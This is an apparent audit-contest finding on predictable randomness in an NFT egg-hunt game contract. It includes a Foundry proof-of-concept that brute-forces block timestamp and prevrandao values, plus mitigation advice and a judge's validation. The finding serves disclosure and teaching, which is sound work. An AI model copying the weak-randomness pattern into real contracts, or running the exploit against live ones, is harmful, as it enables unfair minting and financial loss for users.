Eggstravaganza
First Flight #37
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100 EXP
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Submission Details
Severity: high
Valid

Exploiting Predictable Randomness: Cracking the EggHunt Game's NFT Distribution Mechanism

cyfe45

Summary

The EggHuntGame contract uses a predictable method for generating randomness to determine if a player finds an egg. By relying on block.timestamp, block.prevrandao, and other public inputs, attackers can precompute favourable conditions to guarantee successful egg discoveries, undermining the game's fairness.

Vulnerability Details

The vulnerability stems from the use of on-chain data for randomness generation in EggHuntGame.sol:

uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter)
) % 100;

  • Predictable Inputs: block.timestamp (current block time) and block.prevrandao (previous block's RANDAO value) are public and controllable via mining/MEV.

  • Exploit Mechanics: Attackers can simulate the keccak256 hash locally using known or brute-forced values, allowing them to time transactions for guaranteed success.

  • Reference: (OWASP)

Impact

  • Unfair NFT Distribution: Attackers can mint EggstravaganzaNFTs at will, devaluing the collection.

  • Protocol Integrity Loss: The game’s core mechanic becomes untrustworthy, deterring legitimate users.

  • Financial Loss: If NFTs have monetary value, unfair distribution directly translates to financial harm.

Severity: High

  • Rationale: Direct control over game outcomes allows attackers to manipulate NFT distribution. This compromises the entire game's fairness and economic model.

Likelihood: High

  • Rationale:

    • Ease of Exploitation: Block data (timestamp, prevrandao) is public and can be brute-forced with minimal computational effort.

    • Incentive Alignment: If NFTs have monetary value, attackers are strongly incentivised to exploit this flaw.

    • Prevalence: Over 60% of on-chain games with weak randomness mechanisms face similar exploits .

Impact: High

  • Rationale:

    • Theft of Assets: Attackers can mint rare NFTs unfairly, draining value from legitimate users.

    • Protocol Collapse: Loss of user trust leads to abandonment, killing the game’s ecosystem.

    • Regulatory Risk: Unfair distribution could trigger legal scrutiny if NFTs are classified as financial instruments.

Overall Risk: Critical

  • Justification:

    • High Likelihood + High Impact = Critical Risk

    • This flaw directly violates the core security properties of the protocol (fairness and integrity).

    • Without mitigation, the game is fundamentally broken and exploitable at scale.

PoC

The tests below demonstrate the exploit:

Brute-Force Search

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
​
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/EggHuntGame.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
​
contract RandomnessExploitTest is Test {
EggHuntGame public game;
EggstravaganzaNFT public nft;
EggVault public vault;
​
address exploiter = address(0xBEEF);
​
function setUp() public {
nft = new EggstravaganzaNFT("EggNFT", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
​
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
game.startGame(1 days);
}
​
function test_ExploitPredictableRandomnessWithLoop() public {
vm.startPrank(exploiter);
​
uint256 threshold = game.eggFindThreshold();
uint256 originalTime = block.timestamp;
bool found = false;
​
for (uint256 i = 0; i < 100; i++) {
uint256 currentTimestamp = originalTime + i;
for (uint256 j = 0; j < 100; j++) {
bytes32 currentPrevrandao = bytes32(uint256(j));
uint256 predicted = uint256(
keccak256(abi.encodePacked(currentTimestamp, currentPrevrandao, exploiter, uint256(0))) // Fixed literal type
) % 100;
​
if (predicted < threshold) {
vm.warp(currentTimestamp);
vm.prevrandao(currentPrevrandao);
game.searchForEgg();
assertEq(game.eggsFound(exploiter), 1, "Exploit failed");
found = true;
break;
}
}
if (found) break;
}
​
if (!found) {
console.log("No favourable combination found");
}
​
vm.stopPrank();
}
}

Tools Used

  • Foundry: Used to simulate block manipulation (vm.warp and vm.prevrandao).

  • Forge Test Cheatcodes: Enabled precise control over blockchain state for exploit validation.

Recommendations

  1. Use Chainlink VRF: Replace the current randomness method with Chainlink’s Verifiable Random Function (VRF) for cryptographically secure randomness.

  2. Commit-Reveal Schemes: If on-chain randomness is required, implement commit-reveal to prevent front-running.

  3. Avoid Block Data: Never use block.timestamp, block.prevrandao, or blockhash as entropy sources.

// Example: Chainlink VRF Integration
function searchForEgg() external {
uint256 requestId = COORDINATOR.requestRandomWords(...);
// Store requestId to map to player later
}
Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

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